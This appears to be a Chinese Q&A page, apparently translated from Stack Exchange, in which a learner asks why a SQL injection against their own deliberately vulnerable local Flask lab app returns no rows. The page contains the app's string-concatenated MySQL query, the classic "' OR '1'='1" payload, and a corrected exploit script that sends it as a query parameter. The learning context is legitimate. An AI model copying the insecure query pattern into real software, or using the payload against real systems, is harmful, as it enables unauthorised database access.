为何SQL注入未返回数据?Flask应用SQLI漏洞利用求助
问题描述
我正在学习SQL注入(SQLI)漏洞,使用Flask搭建了一个包含多个漏洞字段的应用,其中一个漏洞字段为HTTP请求头。以下是应用相关代码:
# Página para configurar una cabecera HTTP con un valor especificado por el usuario @app.route('/set_header') def set_header(): header_name = request.args.get('header_name', '') header_value = request.args.get('header_value', '') # Configurar la cabecera HTTP con el valor proporcionado por el usuario response = make_response("Cabecera configurada<br>") response.headers[header_name] = header_value # Buscar usuarios en la base de datos utilizando el valor de la cabecera usuarios_encontrados = buscar_usuario_por_cabecera(header_value) # Construir la respuesta HTML con los resultados html = "<h1>Información de la tabla usuarios</h1>" if usuarios_encontrados: html += "<ul>" for usuario in usuarios_encontrados: html += f"<li>{usuario}</li>" html += "</ul>" else: html += "<p>No se encontró información en la tabla usuarios.</p>" # Adjuntar el HTML a la respuesta response.set_data(response.get_data(as_text=True) + html) return response # Función para buscar usuarios en la base de datos utilizando el valor de la cabecera HTTP def buscar_usuario_por_cabecera(valor_cabecera): # Conexión a la base de datos MySQL conexion = mysql.connector.connect(**db_config) cursor = conexion.cursor() # Construcción de la consulta SQL concatenando directamente los valores consulta = "SELECT * FROM usuarios WHERE nombre = '" + valor_cabecera + "'" # Ejecución de la consulta SQL cursor.execute(consulta) # Obtención de los resultados de la consulta resultado = cursor.fetchall() # Si se explota la vulnerabilidad, imprimir la información de la tabla print("Información de la tabla usuarios:", resultado) # Cierre de la conexión a la base de datos conexion.close() # Retorno de los resultados de la consulta return resultado
我编写的漏洞利用代码如下:
import requests # URL del punto de acceso vulnerable url = 'http://127.0.0.1:5000/set_header' # Payload malicioso para la inyección SQL payload = "' OR '1'='1" # Cabecera HTTP con el valor malicioso headers = {'X-User': payload} # Realizar la solicitud GET con la cabecera maliciosa response = requests.get(url, headers=headers) # Imprimir la respuesta del servidor print(response.text)
但返回结果为:
Cabecera configurada<br><h1>Información de la tabla usuarios</h1><p>No se encontró información en la tabla usuarios.</p>
看起来所有步骤都正确,我怀疑问题出在漏洞利用代码上,请问如何修改才能成功获取注入数据?
问题分析
核心错误在于对漏洞点的误解:Flask应用中,buscar_usuario_por_cabecera函数使用的valor_cabecera参数,实际来自URL的header_value查询参数,而非请求头内容。你的利用代码把payload放在请求头里,导致数据库查询时传入的是空字符串(因为未传递header_value参数),自然无法返回数据。
修正后的漏洞利用代码
将payload通过URL的header_value参数传递即可,修改后的代码如下:
import requests # URL del punto de acceso vulnerable url = 'http://127.0.0.1:5000/set_header' # Payload malicioso para la inyección SQL payload = "' OR '1'='1" # 将payload作为header_value查询参数传递 params = {'header_value': payload} # Realizar la solicitud GET con el payload en los parámetros response = requests.get(url, params=params) # Imprimir la respuesta del servidor print(response.text)
如果需要同时自定义响应头的名称,可以额外添加header_name参数,示例:
params = {'header_name': 'X-User', 'header_value': payload}
内容的提问来源于stack exchange,提问作者mdz
相关产品推荐
相关产品推荐

